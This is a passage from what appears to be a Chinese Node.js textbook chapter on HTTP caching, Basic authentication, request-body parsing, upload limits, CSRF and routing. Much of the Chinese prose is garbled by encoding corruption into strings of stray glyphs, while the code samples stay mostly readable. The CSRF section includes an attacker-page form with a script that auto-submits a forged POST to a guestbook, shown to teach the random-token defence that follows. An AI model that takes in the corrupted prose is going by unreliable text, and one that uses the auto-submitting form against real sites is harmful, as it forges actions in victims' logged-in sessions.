}; 

这᧖的్͇请ය᧓用时ᫍ੗的ழय实ဗ，ͭ是时ᫍ੗有一些Ꭴᬝߚ在。 
� ஠͇的时ᫍ੗இ动ͭ内ࠓ并不一定இ动。 
� 时ᫍ੗只能ዴᆷ到ሙጞѾ，ఝ新ᮟጒ的内࠱ࠓ௃ก生஌。 
为൤HTTP1.1中ल入了ETag౎解决这个问题。ETag的Кሥ是Entity Tag，由服务٧端生੆，服

务٧端可以决定它的生੆᜺Ѷ。ݟ౦಩૵஠͇内ࠓ生੆஘ѴϘ，ᥦ˥్͇请ය࠱不会ԩ到时ᫍ੗

இ动ᤴ੆的ࣛํࠔ᠟。下᭦是಩૵内ࠓ生੆஘ѴϘ的ழกὙ 

var getHash = function (str) { 

  var shasum = crypto.createHash('sha1'); 

  return shasum.update(str).digest('base64'); 

}; 

与If-Modified-Since/Last-Modified不Վ的是，ETag的请යֽ֖应是If-None-Match/ETag，

 下੝ᇧὙݟ

var handle = function (req, res) { 

  fs.readFile(filename, function(err, file) { 

    var hash = getHash(file); 

    var noneMatch = req.headers['if-none-match']; 

    if (hash === noneMatch) { 

      res.writeHead(304, "Not Modified"); 

      res.end(); 

    } else { 

      res.setHeader("ETag", hash); 

      res.writeHead(200, "Ok"); 

      res.end(file); 

    } 

  }); 

}; 

เ᜾٧在收到ETag: "83-1359871272000"这样的ֽ应后，在下次的请ය中，会࠱ФஉᎵ在请

යܿ中ὙIf-None-Match:"83-1359871272000"。 
是它Ιཨ会发起一个HTTP请ͭ，ࠔ没有νஇ的情х下ᓫᄴࣛࠓ管్͇请ය可以在஠͇内ࡉ

ය，使३客ਖ਼端Ιཨ会ᔈ一定时ᫍ౎ኍय़ֽ应。可᜸最好的ழ಴就是ᤋ్͇请ය都不用发起。ᥦ

时，ᝧเ᜾٧௙ࠓ本փ὞ኔ಴就是服务٧端在ֽ应内ྟڠᝧเ᜾٧ᅻ௳是否能ᄯ接使用本ʹݟ˥

ᆷ࠱ڠ内ࠓᎀߚ起౎。ݟՎYSlow᜺Ѷ᧖ଡ到的，在ֽ应᧖᝹ᎵExpires੊Cache-Controlܿ，เ

᜾࠱٧಩૵ឞϘᤈᛠᎀߚ。ᥦ˥这ˏ个Ϙ有ʹ区Ѿփ὞ 
HTTP1.0时，在服务٧端᝹ᎵExpires可以նᅻเ᜾٧要ᎀߚ஠͇内ݟ，ࠓ下̼ᆉ੝ᇧὙ 

var handle = function (req, res) { 

  fs.readFile(filename, function(err, file) { 

    var expires = new Date(); 

    expires.setTime(expires.getTime() + 10 * 365 * 24 * 60 * 60 * 1000); 

    res.setHeader("Expires", expires.toUTCString()); 

    res.writeHead(200, "Ok"); 

    res.end(file); 
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  }); 

}; 

Expires是一个GMTಪय的时ᫍߙቿ˘。เ᜾٧在接到这个过యϘ后，只要本ڠ还ߚ在这个

ᎀߚ஠͇，在到య时ᫍ之前它都不会в发起请ය。YUI3的CDN实践是ᎀߚ஠͇在10年后过య。

ͭ是Expires的Ꭴᬝ在于เ᜾٧与服务٧之ᫍ的时ᫍ可能不一ᒰ，这可能会ࣛ౎一些问题，ඊݟ

஠͇ଡ前过య，੊者到య后并没有ᜁѺᬓ。在这ሗ情х下，Cache-Control以ఝ˗ࠜ的्य，实

ဗ相Վ的ҩ能，ݟ下੝ᇧὙ 

var handle = function (req, res) { 

  fs.readFile(filename, function(err, file) { 

    res.setHeader("Cache-Control", "max-age=" + 10 * 365 * 24 * 60 * 60 * 1000); 

    res.writeHead(200, "Ok"); 

    res.end(file); 

  }); 

}; 

上᭦的̼ᆉ为Cache-Control᝹Ꮅ了max-ageϘ，它ඊExpires优ሑ的ڠழ在于，Cache-Control

能ܴᥗБเ᜾٧端与服务٧端时ᫍ不Վ൥ࣛ౎的不一ᒰ性问题，只要ᤈᛠዜͪχ᝟时的ழय᝟ኪ

过య时ᫍԀ可。ᬓ൤之外，Cache-Control的Ϙ还能᝹Ꮅpublic、private、no-cache、no-store

ኍ能ܴఝዴጹڠଌ҃ᎀߚ的ᤤᮉ。 
由于在HTTP1.0时还不ஂ૆max-age，ݟ今的服务٧端在ഴڰ的ஂ૆下多ӦՎ时对Expires֖

Cache-Controlᤈᛠஂ૆。在เ᜾٧中ݟ౦ˏ个ϘՎ时ߚ在，且ᜁՎ时ஂ૆时，max-age会᜷ᄥ

Expires。 
z ຌᬓᎀߚ 
ᙉཨ我们ᅻ௳了ݟʹ᝹Ꮅᎀߚ，以᣹到ᓫᄴ网ፎࣛࠔ的目的，ͭ是ᎀߚ一ெ᝹定，ॆ服务٧

端਒外ఝ新内ࠓ时，ԁ௃ก᤯ᅻ客ਖ਼端ఝ新。这使३我们在使用ᎀߚ时也要为Ф᝹定ྟ本Ձ，੝

ࣳเ᜾٧是಩૵URLᤈᛠᎀߚ，ᥦ˥一ெ内ࠓ有੝ఝ新时，我们就ᝧเ᜾٧发起新的URL请ය，

使३新内ࠓ能ܴᜁ客ਖ਼端ఝ新。一ᓉ的ఝ新机҃有ݟ下ˏሗ。 
� ඇ次发࣊，ᡸफ़中ᡱᬣWeb应用的ྟ本ՁὙhttp://url.com/?v=20130501。 
� ඇ次发࣊，ᡸफ़中ᡱᬣឞ஠͇内ࠓ的hashϘὙhttp://url.com/?hash=afadfadwe。 
大ͳ౎ឬ，಩૵஠͇内ࠓ的hashϘᤈᛠᎀߚ淘෎会ఝ加高஌，因为஠͇内ࠓ不一定ᬣ着Web

应用的ྟ本Ꮺఝ新，Ꮺ内ࠓ没有ఝ新时，ྟ本Ձ的இ动࠭ᒰ的ఝ新ඒ௃਒˦，因൤以஠͇内्ࠓ

੆的hashϘఝዴэ。 

8.1.7� Basic䅸䆕 

Basic认᝼是ॆ客ਖ਼端与服务٧端ᤈᛠ请ය时，Љ᝴᤯过用ਖ਼Տ֖ࠚᆉ实ဗ的一ሗᢵ͊认᝼

ழय。这᧖ኤ要̭ፀ它的ԓူ֖它在服务٧端᤯过Nodeူܪ的ึ程。 
ൿߙឞ，ࠓൿ的内ߙ౦一个页᭦ᭉ要Basic认᝼，它会೜ಉ请යઐ஠ܿ中的Authorizationݟ

的Ϙ由认᝼ழय֖加ࠚϘౝ੆，ݟ下੝ᇧὙ 
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$ curl -v "http://user:pass@www.baidu.com/" 

> GET / HTTP/1.1 

> Authorization: Basic dXNlcjpwYXNz 

> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 

> Host: www.baidu.com 

> Accept: */* 

在Basic认᝼中，它会࠱用ਖ਼֖ࠚᆉ部分组ՋὙusername + ":" + password。ཨ后ᤈᛠBase64
编ᆉ，ݟ下੝ᇧὙ 

var encode = function (username, password) { 

  return new Buffer(username + ':' + password).toString('base64'); 

}; 

ᥦ˥เ᜾٧会ֽ应一个401ల૾，ࠓ中也没୅ࣛ认᝼内ڦڠ౦用ਖ਼ᯪ次᝺问ឞ网页，URLݟ

ా的࿃খᆉ，ݟ下੝ᇧὙ 

function (req, res) { 

  var auth = req.headers['authorization'] || ''; 

  var parts = auth.split(' '); 

  var method = parts[0] || ''; // Basic 

  var encoded = parts[1] || ''; // dXNlcjpwYXNz 

  var decoded = new Buffer(encoded, 'base64').toString('utf-8').split(":"); 

  var user = decoded[0]; // user 

  var pass = decoded[1]; // pass 

  if (!checkUser(user, pass)) { 

    res.setHeader('WWW-Authenticate', 'Basic realm="Secure Area"'); 

    res.writeHead(401); 

    res.end(); 

  } else { 

    handle(req, res); 

  } 

} 

在上᭦的̼ᆉ中，ֽ 应ܿ中的WWW-Authenticateߙൿնᅻเ᜾٧᧓用̣˥样的认᝼֖加ࠚ

ழय。一ᓉᏪ言，ల认᝼的情х下，เ᜾٧会ीѢ对ពಳᤈᛠ̓̈यଡ̓认᝼信ো，ݟ图8-2
੝ᇧ。 

 

图8-2 เ᜾٧ीѢ的̓̈यଡ̓认᝼信ো的对ពಳ 

ॆ认᝼᤯过，服务٧端ֽ应200࿃খᆉ之后，เ᜾٧会γߚ用ਖ਼Տ֖ࠚᆉԯ̽，在后续的请

ය中都୅ࣛ上Authorization信ো。 
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Basic认᝼有ܹ多的Ꭴཁ，它ᙉཨ经过Base64加ࠚ后在网ፎ中͛ᤞ，ͭ 是这ᤂ˪于௙஠，Ӡ分

ӿᬖ，一ᓉ只有在HTTPS的情х下才会使用。不过Basic认᝼的ஂ૆ᔴډӠ分广ค，几˪੝有的

เ᜾٧都ஂ૆它。 
为了இᤈBasic认᝼，RFC 2069᜺ᔴଡѢ了୑要᝺问认᝼，它加入了服务٧端ᬣ机数౎γએ

认᝼过程，在൤不做深入的解᧕。 

8.2� ᭄᥂ϞӴ 

上ᤗ的内۲ࠓ本都ᬶ中在HTTP请යઐ஠ܿ中，᤟用于GET请ය֖大多数Ф他请ය。ܿ 部ઐ஠中

的内ࠓ已经能ܴᝧ服务٧端ᤈᛠ大多数ˉ务᤾ᣣୱ作了，ͭ是Ӭጥ的ܿ部ઐ஠௃ก୅ࣛ大量的数

૵，在ˉ务中，我们ज़ज़ᭉ要接收一些数૵，ඊݟᛪӬଡ̓、஠͇ଡ̓、JSON上͛、XML上͛ኍ。 
Node的httpഴڰ只对HTTPઐ஠的ܿ部ᤈᛠ了解ౡ，ཨ后触发request事͇。ݟ౦请ය中还ࣛ

有内ࠓ部分（ݟPOST请ය，它Х有ઐ֖ܿ内ࠓ），内ࠓ部分ᭉ要用ਖ਼自ᛠ接收֖解ౡ。᤯过ઐܿ

的Transfer-Encoding੊Content-LengthԀ可ѻற请ය中是否ࣛ有内ݟ，ࠓ下੝ᇧὙ 

var hasBody = function(req) { 

  return 'transfer-encoding' in req.headers || 'content-length' in req.headers; 

}; 

在HTTP_Parser解ౡઐܿፆో后，ઐ஠内ࠓ部分会᤯过data事͇触发，我们只ᭉ以ึ的ழय

 下੝ᇧὙݟ，Ԁ可ူܪ

function (req, res) { 

  if (hasBody(req)) { 

    var buffers = []; 

    req.on('data', function (chunk) { 

      buffers.push(chunk); 

    }); 

    req.on('end', function () { 

      req.rawBody = Buffer.concat(buffers).toString(); 

      handle(req, res); 

    }); 

  } else { 

    handle(req, res); 

  } 

} 

ቿ˘，ఆ时ેᎵ在ߙ接收到的BufferѴᛪᣀӐ为一个Buffer对៵后，вᣀ૰为没有˼ᆉ的࠱

req.rawBodyܪ。 

8.2.1� 㸼ऩ᭄᥂ 

最为࣡᜸的数૵ଡ̓就是᤯过网页ᛪӬଡ̓数૵到服务٧端，ݟ下੝ᇧὙ 

<form action="/upload" method="post"> 

  <label for="username">Username:</label> <input type="text" name="username" id="username" />  

  <br /> 
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  <input type="submit" name="submit" value="Submit" /> 

</form> 

᳭认的ᛪӬଡ̓，请යܿ中的Content-TypeߙൿϘ为application/x-www-form-urlencoded，

 下੝ᇧὙݟ
Content-Type: application/x-www-form-urlencoded 

由于它的ઐ஠ͳ内ࠓᡱಉលߙቿ˘相ՎὙ 
foo=bar&baz=val 

因൤解ౡ它Ӡ分ࠓ௛Ὑ 
var handle = function (req, res) { 

  if (req.headers['content-type'] === 'application/x-www-form-urlencoded') { 

    req.body = querystring.parse(req.rawBody); 

  } 

  todo(req, res); 

}; 

后续ˉ务中ᄯ接᝺问req.body就可以३到ᛪӬ中ଡ̓的数૵。 

8.2.2� ݊ҪḐᓣ 

ᬓ了ᛪӬ数૵外，࣡ ᜸的ଡ̓还有JSON֖XML஠͇ኍ，ѻற֖解ౡ他们的ԓူ都ඊᣖ相ͪ，

都是Ι૵Content-Type中的Ϙ决定，Ф中JSONዜۋ的Ϙ为application/json，XML的Ϙ为

application/xml。 
ᭉ要ซ਒的是，在Content-Type中可能还ᬃࣛݟ下੝ᇧ的编ᆉ信োὙ 
Content-Type: application/json; charset=utf-8 

੝以在做ѻற时，ᭉ要ซ਒区分，ݟ下੝ᇧὙ 
var mime = function (req) { 

  var str = req.headers['content-type'] || ''; 

  return str.split(';')[0]; 

}; 

1. JSON᭛ӊ 
 下੝ᇧὙݟ，ंʹ它都不ᭉ要ᮨ外的͉ူܪ这对于Node౎ឬ，要，ࠓ౦从客ਖ਼端ଡ̓JSON内ݟ
var handle = function (req, res) { 

  if (mime(req) === 'application/json') { 

    try { 

      req.body = JSON.parse(req.rawBody); 

    } catch (e) { 

      // 异常内容ǈ响应Bad request 
      res.writeHead(400); 

      res.end('Invalid JSON'); 

      return; 

    } 

  } 

  todo(req, res); 

}; 
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2. XML᭛ӊ 
解ౡXML஠͇ሮॱ复杂一ཁ，ͭ是社区有ஂ૆XML஠͇到JSON对៵ᣀ૰的ं，这᧖以

xml2jsഴڰ为Β，ݟ下੝ᇧὙ 
var xml2js = require('xml2js'); 

 

var handle = function (req, res) { 

  if (mime(req) === 'application/xml') { 

    xml2js.parseString(req.rawBody, function (err, xml) { 

      if (err) { 

        // 异常内容ǈ响应Bad request 
        res.writeHead(400); 

        res.end('Invalid XML'); 

        return; 

      } 

      req.body = xml; 

      todo(req, res); 

    }); 

  } 

}; 

᧓用ዜͪ的ழय，௃᝶客ਖ਼端ଡ̓的数૵是̣˥ಪय，我们都可以᤯过这ሗழय౎ѻறឞ数

૵是ʹሗዜۋ，ཨ后᧓用对应的解ౡழก解ౡԀ可。 

8.2.3� 䰘ӊϞӴ 

ᬓ了࣡᜸的ᛪӬ֖ྱ൳ಪय的内ࠓଡ̓外，还有一ሗඊᣖ࿗ྱ的ᛪӬ。᤯࣡的ᛪӬ，Ф内ࠓ

可以᤯过urlencoded的ழय编ᆉ内्ࠓ੆ઐ஠ͳ，в发ᤞፋ服务٧端，ͭ是ˉ务场景ज़ज़ᭉ要用

ਖ਼ᄯ接ଡ̓஠͇。在前端HTML̼ᆉ中，ྱ൳ᛪӬ与௾᤯ᛪӬ的ࢿऩ在于ឞᛪӬ中可以դ有file

ዜۋ的ଌ͇，以Ԣᭉ要ૈ定ᛪӬ࡚性enctype为multipart/form-data，ݟ下੝ᇧὙ 
<form action="/upload" method="post" enctype="multipart/form-data"> 

  <label for="username">Username:</label> <input type="text" name="username" id="username" />  

  <label for="file">Filename:</label> <input type="file" name="file" id="file" />  

  <br /> 

  <input type="submit" name="submit" value="Submit" /> 

</form> 

เ᜾٧在᥄到multipart/form-dataᛪӬଡ̓时，ౝᤴ的请යઐ஠与௾᤯ᛪӬ߸К不Վ。ᯪЎ

它的ઐܿ中最为ྱ൳的ݟ下੝ᇧὙ 

Content-Type: multipart/form-data; boundary=AaB03x 

Content-Length: 18231 

它̼ᛪ本次ଡ̓的内ࠓ是由多部分ౝ੆的，Ф中boundary=AaB03xૈ定的是ඇ部分内ࠓ的分ႌ

ቿ，AaB03x是ᬣ机生੆的一ൿߙቿ˘，ઐ஠ͳ的内࠱ࠓ᤯过在它前᭦ຊ加--ᤈᛠ分Ҟ，ઐ஠ፆో

时在它前后都加上--ᛪᇧፆో。Բ外，Content-Length的Ϙॸᮋᆷγ是ઐ஠ͳ的᫁ऎ。 
ϛ᝹上᭦的ᛪӬᤤસ了一个Տ为diveintonode.js的஠͇，并ᤈᛠଡ̓上͛，ᥦ˥生੆的ઐ஠ݟ

下੝ᇧὙ 
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--AaB03x\r\n 

Content-Disposition: form-data; name="username"\r\n 

\r\n 

Jackson Tian\r\n 

--AaB03x\r\n 

Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n 

Content-Type: application/javascript\r\n 

\r\n 

 ... contents of diveintonode.js ... 

--AaB03x-- 

௾᤯的ᛪӬଌ͇的ઐ஠ͳݟ下੝ᇧὙ 
--AaB03x\r\n 

Content-Disposition: form-data; name="username"\r\n 

\r\n 

Jackson Tian\r\n 

஠͇ଌ्͇੆的ઐ஠ݟ下੝ᇧὙ 

--AaB03x\r\n 

Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n 

Content-Type: application/javascript\r\n 

\r\n 

 ... contents of diveintonode.js ... 

一ெ我们ᅻ௳ઐ஠是ݟʹౝ੆的，ᥦ˥解ౡ它就Ԫ३Ӡ分ࠓ௛。Ϙ३ซ਒的一ཁ是，由于是

஠͇上͛，ᥦ˥像௾᤯ᛪӬ、JSON੊XMLᥦ样Ў接收内ࠓв解ౡ的ழय࠱Ԫ३不可接ԩ。接收

大小లᅻ的数૵量时，我们ᭉ要Ӡ分៞ਠ，ݟ下੝ᇧὙ 
function (req, res) { 

  if (hasBody(req)) { 

    var done = function () { 

      handle(req, res); 

    }; 

    if (mime(req) === 'application/json') { 

      parseJSON(req, done); 

    } else if (mime(req) === 'application/xml') { 

      parseXML(req, done); 

    } else if (mime(req) === 'multipart/form-data') { 

      parseMultipart(req, done); 

    } 

  } else { 

    handle(req, res); 

  } 

} 

这᧖我们࠱req这个ึ对៵ᄯ接̓ፋ对应的解ౡழก，由解ౡழก自ᛠူܪ上͛的内ࠓ，੊

接收内ࠓ并γߚ在内ߚ中，੊ึय૿ူܪ。 
这᧖要̭ፀ到的ഴڰ是formidable。它۲于ึयူܪ解ౡઐ஠，࠱接收到的஠͇写入到系统

的˙时஠͇݂中，并ᤄٿ对应的ᡸफ़，ݟ下੝ᇧὙ 
var formidable = require('formidable'); 
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function (req, res) { 

  if (hasBody(req)) { 

    if (mime(req) === 'multipart/form-data') { 

      var form = new formidable.IncomingForm(); 

      form.parse(req, function(err, fields, files) { 

        req.body = fields; 

        req.files = files; 

        handle(req, res); 

      }); 

    } 

  } else { 

    handle(req, res); 

  } 

} 

因൤在ˉ务᤾ᣣ中只要೜ಉreq.body֖req.files中的内ࠓԀ可。 

8.2.4� ᭄᥂ϞӴϢᅝܼ 

NodeଡΘ了相对ऄࡎ的API，᤯过它ౝतՉሗՉ样的Web应用都是相对ࠓ௛的，ͭ是在Web
应用中，不३不᧗᜼与数૵上͛相关的߶К问题。由于Node与前端JavaScript的ᤂᎅ性，前端

JavaScript甚至可以上͛到服务٧ᄯ接੯ᛠ，ͭ 在这᧖我们并不ᝦ᝶这样ӿᬖ的动作，Ꮺ是̭ፀ内

 。CSRF相关的߶К问题֖ߚ
 ࠊᄬ䰤ݙ .1
在解ౡᛪӬ、JSON֖XML部分，我们᧓Ԩ的ን႔是Ўγߚ用ਖ਼ଡ̓的੝有数૵，ཨ后в解

ౡူܪ，最后才͛ᤫፋˉ务᤾ᣣ。这ሗን႔ߚ在໷在的问题是，它仅仅᤟Ջ数૵量小的ଡ̓请ය，

一ெ数૵量过大，࠱发生内ߚᜁӳЏ的情х。ஈѣ者᤯过客ਖ਼端能ܴӠ分ࠓ௛ڠഴ઱͡ᤴ大量数

૵，ݟ౦ஈѣ者ඇ次ଡ̓1 MB的内ࠓ，ᥦ˥只要并发请ය数量一大，内ߚ就会很ঋڠᜁՈЏ。 
要解决这个问题˞要有ˏ个ழ಴。 
� ᬌ҃上͛内ࠓ的大小，一ெᡓ过ᬌ҃，Ϣൢ接收数૵，并ֽ应400࿃খᆉ。 
� ᤯过ึय解ౡ，࠱数૵ึ࠭Փ到ᇒᄧ中，Node只γ႐஠͇ᡸफ़ኍ小数૵。 
ึयူܪ在上஠的஠͇上͛中已经有੝ͳဗ，这᧖̭ፀ一下Connect中᧓用的上͛数૵量的

ᬌ҃ழय，ݟ下੝ᇧὙ 

var bytes = 1024; 

 

function (req, res) { 

  var received = 0, 

  var len = req.headers['content-length'] ? parseInt(req.headers['content-length'], 10) : null; 

 

  // 如ࡕ内容ג过长܈限制ǈݓ回请求实体过长的状态码 

  if (len && len > bytes) { 

    res.writeHead(413); 

    res.end(); 

    return; 

  } 
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  // limit 

  req.on('data', function (chunk) { 

    received += chunk.length; 

    if (received > bytes) { 

      // ཕኹ接收数据ǈة发end() 

      req.destroy(); 

    } 

  }); 

 

  handle(req, res); 

}; 

从上᭦的̼ᆉ中我们可以ᄹ到，数૵是由包դContent-Length的请යઐ஠ѻற是否᫁ऎᡓ过

ᬌ҃的，ᡓ过Ѷᄯ接ֽ应413࿃খᆉ。对于没有Content-Length的请යઐ஠，႔ॱኤ႔一ཁ，在ඇ

个data事͇中ѻ定Ԁ可。一ெᡓ过ᬌ҃Ϙ，服务٧Ϣൢ接收新的数૵ྞൿ。ݟ౦是JSON஠͇੊

XML஠͇，极有可能௃ก߸੆解ౡ。对于上线的Web应用，ຊ加一个上͛大小ᬌ҃Ӡ分有ѽ于γ

એ服务٧，在ᥒ᥄ஈѣ时，能᪙定从ࠓ应对。 
2. CSRF 
CSRF的Кሥ是Cross-Site Request Forgery，中஠਒ধ为ᡴቢ请ය͡ᤴ。前஠ଡԢ了服务٧端

与客ਖ਼端᤯过Cookie౎ಕ识֖认᝼用ਖ਼，᤯࣡Ꮺ言，用ਖ਼᤯过เ᜾٧᝺问服务٧端的Session ID
是௃กᜁኃʻழᅻ᥊的，ͭ是CSRF的ஈѣ者并不ᭉ要ᅻ᥊Session ID就能ᝧ用ਖ਼中招。 

为了សጹ解᧕CSRFஈѣ是ঞ样一个过程，这᧖以一个႐言的Βߔ౎ឬ௙。ϛ᝹౼个网ቢ有

这样一个႐言程序，ଡ̓႐言的接ԯݟ下੝ᇧὙ 

http://domain_a.com/guestbook 

用ਖ਼᤯过POSTଡ̓contentߙൿ就能੆ҩ႐言。服务٧端会自动从Session数૵中ѻற是ឹଡ

̓的数૵，补ᡛusername֖updatedAtˏ个ߙൿ后Փ数૵ं中写入数૵，ݟ下੝ᇧὙ 

function (req, res) { 

  var content = req.body.content || ''; 

  var username = req.session.username; 

  var feedback = { 

    username: username, 

    content: content, 

    updatedAt: Date.now() 

  }; 

  db.save(feedback, function (err) { 

    res.writeHead(200); 

    res.end('Ok'); 

  }); 

} 

ൣ࣡的情х下，ឹଡ̓的႐言，就会在Ѵᛪ中௬ᇧឹ的信ো。ݟ౦౼个ஈѣ者发ဗ了这᧖的

接ԯߚ在CSRF໣ว，ᥦ˥他就可以在Բ一个网ቢ（http://domain_b.com/attack）上ౝᤴ了一个ᛪ

Ӭଡ̓，ݟ下੝ᇧὙ 

<form id="test" method="POST" action="http://domain_a.com/guestbook"> 

  <input type="hidden" name="content" value="vim是ኄ߲๘হ上ፌࡻ的编辑器" /> 
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</form> 

<script type="text/javascript"> 

  $(function () { 

    $("#test").submit(); 

  }); 

</script> 

这ሗ情х下，ஈѣ者只要लឩ౼个domain_a的ᄅे用ਖ਼᝺问这个domain_b的网ቢ，就会自动

ଡ̓一个႐言。由于在ଡ̓到domain_a的过程中，เ᜾٧会࠱domain_a的Cookie发ᤞ到服务٧，

 。管这个请ය是౎自domain_b的，ͭ是服务٧并不ᅻ情，用ਖ਼也不ᅻ情ࡉ
以上过程就是一个CSRFஈѣ的过程。这᧖的ᇧΒ仅仅是一个႐言的໣ว，ݟ౦Ѣဗ໣ว的

是ᣀ᠌的接ԯ，ᥦ˥Фӿࠎ程ऎ可想Ꮺᅻ。 
঒᜼。好在CSRF并᭣不可᫸ࠓ௛，ͭ是߶К问题还是不ࠓ管᤯过Node接收数૵ଡ̓Ӡ分ࡉ

७，解决CSRFஈѣ的ழ಴有ຊ加ᬣ机Ϙ的ழय，ݟ下੝ᇧὙ 
var generateRandom = function(len) { 

  return crypto.randomBytes(Math.ceil(len * 3 / 4)) 

    .toString('base64') 

    .slice(0, len); 

}; 

也就是ឬ，为ඇ个请ය的用ਖ਼，在Session中ᠱ̀一个ᬣ机Ϙ，ݟ下੝ᇧὙ 
var token = req.session._csrf || (req.session._csrf = generateRandom(24)); 

在做页᭦ມ౿的过程中，࠱这个_csrfϘն之前端，ݟ下੝ᇧὙ 
<form id="test" method="POST" action="http://domain_a.com/guestbook"> 

  <input type="hidden" name="content" value="vim是ኄ߲๘হ上ፌࡻ的编辑器" /> 

  <input type="hidden" name="_csrf" value="< =_csrf >" />% %  

</form> 

由于ឞϘ是一个ᬣ机Ϙ，ஈѣ者ౝᤴѢ相Վ的ᬣ机Ϙ的ᬱऎ相ॆ大，੝以我们只ᭉ要在接收

端做一次ಢᰍ就能ᣏ௛ڠ识ѾѢឞ请ය是否为͡ᤴ的，ݟ下੝ᇧὙ 
function (req, res) { 

  var token = req.session._csrf || (req.session._csrf = generateRandom(24)); 

 

  var _csrf = req.body._csrf; 

  if (token !== _csrf) { 

    res.writeHead(403); 

    res.end("্ኹ访问"); 

  } else { 

    handle(req, res); 

  } 

} 

_csrfߙൿ也可以ߚ在于ಉលߙቿ˘੊者请යܿ中。 

8.3� 䏃⬅㾷ᵤ 

前஠ᝮᤗ了᝴多Web请ය过程中的ᮔူܪ过程，对于不Վ的ˉ务，我们还是యభ有不Վ的ܪ
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ူழय，这ࣛ౎了ᡸ由的ᤤસ问题。本ᓫ࠱会̭ፀ஠͇ᡸफ़、MVC、RESTfulኍᡸ由ழय。 

8.3.1� ᭛ӊ䏃ᕘൟ 

1. 䴭ᗕ᭛ӊ 
这ሗழय的ᡸ由在ᡸफ़解ౡ的部分有过ኤӬଠᤗ，Фᝧ人ᒽ服的ڠழ在于URL的ᡸफ़与网ቢ

目े的ᡸफ़一ᒰ，௃ᮋᣀ૰，᭣࣡ᄯ᜹。这ሗᡸ由的ူܪழय也Ӡ分ኤӬ，࠱请යᡸफ़对应的஠

͇发ᤞፋ客ਖ਼端Ԁ可。这在前஠ᡸफ़解ౡ部分有̭ፀ，不в᧗复。 
 ᗕ᭛ӊࡼ .2
在MVCഴयึᛠ起౎之前，಩૵஠͇ᡸफ़੯ᛠ动খ脚本也是۲本的ᡸ由ழय，它的ူܪԓ

ူ是Web服务٧಩૵URLᡸफ़੼到对应的஠͇，ݟ/index.asp੊/index.php。Web服务٧಩૵஠͇Տ

后፯Ԝࠬ੼脚本的解ౡ٧，并͛入HTTP请ය的上下஠。 
以下是Apache中ᦠᎵPHPஂ૆的ழयὙ 

AddType application/x-httpd-php .php 

解ౡ٧੯ᛠ脚本，并ᣤѢֽ应ઐ஠，᣹到߸੆服务的目的。ဗ今大多数的服务٧都能很ఄ能

಩૵后፯Վ时服务动খ֖᭡খ஠͇。这ሗழय在Node中不ܹ࣡᜸，˞要ԓ因是஠͇的后፯都ڠ

是.js，分不ຌ是后端脚本，还是前端脚本，这可不是̣˥好的᝹᝟。Ꮺ且Node中Web服务٧与应

用ˉ务脚本是一ͳ的，௃ᮋ૊这ሗழय实ဗ。 

8.3.2� MVC 

在MVCึᛠ之前，˞ึ的ူܪழय都是᤯过஠͇ᡸफ़ᤈᛠူܪ的，甚至以为是࣡খ。ᄯ到

有一天开发者发ဗ用ਖ਼请ය的URLᡸफ़ԓ౎可以ᡱХͳ脚本੝在的ᡸफ़没有͉ʹ关系。 
MVCഴۋ的˞要ধ想是࠱ˉ务᤾ᣣ૊ᐋ᠉分ሎ，˞要分为以下几ሗ。 
� ଌ҃٧（Controller），一组ᛠ为的ᬶՋ。 
� ഴۋ（Model），数૵相关的ୱ作֖࠯ᜈ。 
� ᜼图（View），᜼图的ມ౿。 
这是目前最为经Ц的分ࡎഴय（ݟ图8-3੝ᇧ），大ᒰᏪ言，它的工作ഴयݟ下ឬ௙。 
� ᡸ由解ౡ，಩૵URLࠬ੼到对应的ଌ҃٧֖ᛠ为。 
� ᛠ为ុ用相关的ഴۋ，ᤈᛠ数૵ୱ作。 
� 数૵ୱ作ፆో后，ុ用᜼图֖相关数૵ᤈᛠ页᭦ມ౿，ᣤѢ到客ਖ਼端。 
ଌ҃ݟ٧ʹុ用ഴݟ֖ۋʹມ౿页᭦，Չሗ实ဗ都大Վ小ऩ，我们在后续ብᓫ中вࡘ开，൤

，࠰这᧖有ˏ个分ஂ实ဗ。一ሗழय是᤯过੣工关ᐎ௡，࠰಩૵URL做ᡸ由௡ʹݟ。ఆ且႔过ܪ

一ሗ是自ཨ关ᐎ௡࠰。前者会有一个对应的ᡸ由஠͇౎࠱URL௡࠰到对应的ଌ҃٧，后者没有这

样的஠͇。 
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图8-3 分ࡎഴय 

1. ᠟Ꮉ᯴ᇘ 
੣工௡࠰ᬓ了ᭉ要੣工ᦠᎵᡸ由外ᣖ为ԓ始外，它对URL的要යӠ分灵活，几˪没有ಪय上

的ᬌ҃。ݟ下的URLಪय都能自由௡࠰Ὑ 
/user/setting 

/setting/user 

这᧖ϛ᝹已经઴有了一个ူܪ᝹Ꮅ用ਖ਼信ো的ଌ҃ݟ，٧下੝ᇧὙ 
exports.setting = function (req, res) { 

  // TODO 
}; 

вຊ加一个௡࠰的ழก就ᛠ，为了ழΦ后续的ᛠ஠，这个ழกՏԶuse()，ݟ下੝ᇧὙ 
var routes = []; 

 

var use = function (path, action) { 

  routes.push([path, action]); 

}; 

我们在入ԯ程序中ѻறURL，ཨ后੯ᛠ对应的᤾ᣣ，于是就߸੆了۲本的ᡸ由௡࠰过程，ݟ

下੝ᇧὙ 

function (req, res) { 

  var pathname = url.parse(req.url).pathname; 

  for (var i = 0; i < routes.length; i++) { 

    var route = routes[i]; 

    if (pathname === route[0]) { 

      var action = route[1]; 

      action(req, res); 

      return; 

    } 

  } 

  // 处理404请求 

  handle404(req, res); 

} 

੣工௡࠰Ӡ分ழΦ，由于它对URLӠ分灵活，੝以我们可以࠱ˏ个ᡸफ़都௡࠰到相Վ的ˉ务

᤾ᣣ，ݟ下੝ᇧὙ 

use('/user/setting', exports.setting); 

use('/setting/user', exports.setting); 

// ฯ዁ 
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use('/setting/user/jacksontian', exports.setting); 

z ൣѶӛᦠ 
对于ኤӬ的ᡸफ़，᧓用上ᤗ的ᆵӛᦠழयԀ可，ͭ 是ݟ下的ᡸफ़请ය就߸К௃ก໗ᡛᭉය了Ὑ 

/profile/jacksontian 

/profile/hoover 

这些请යᭉ要಩૵不Վ的用ਖ਼௬ᇧ不Վ的内ࠓ，这᧖只有ˏ个用ਖ਼，ϛݟ系统中ߚ在੆ӡ上

